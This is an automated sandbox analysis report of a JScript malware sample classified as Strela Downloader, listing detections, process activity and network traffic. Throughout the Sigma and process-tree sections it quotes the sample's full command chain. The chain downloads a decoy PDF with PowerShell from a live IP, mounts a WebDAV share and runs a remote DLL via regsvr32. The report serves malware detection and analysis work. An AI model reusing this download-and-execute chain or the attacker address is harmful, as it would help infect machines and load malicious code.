Edit tour

Windows Analysis Report
51406528193621400.js

Overview

General Information

Sample name:	51406528193621400.js
Analysis ID:	1587709
MD5:	e2261b974d7116d474df7bcfdfeeab01
SHA1:	b45b504a3b909d79aee131f794cabe41b38e07e4
SHA256:	e37695e619e19c7491ad1e84894bac65e1a6d5aef957b6b516b6c6a52016ae24
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 8124 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1436 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1472 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7308 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5900 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1524,i,7185676224181079761,2214675722304676430,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6700 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6116 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1392 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 8124	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7308, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7308, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ProcessId: 8124, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6116, Protocol: tcp, SourceIp: 192.168.2.10, SourceIsIpv6: false, SourcePort: 49752

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 3968, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ProcessId: 8124, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1436, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7308, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6116, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1392, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6700, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6116, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\51406528193621400.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 8124, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17758720931552.dll, ProcessId: 1436, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:52.888339+0100	1810005	1	Potentially Bad Traffic	192.168.2.10	49752	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:13:49.540208+0100	1810000	2	Potentially Bad Traffic	192.168.2.10	49732	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 51406528193621400.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 51406528193621400.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.10:49752 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:13:49 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49752

Source: global traffic

TCP traffic: 192.168.2.10:49752 -> 193.143.1.205:8888

Source: global traffic	TCP traffic: 192.168.2.10:56132 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.10:50596 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

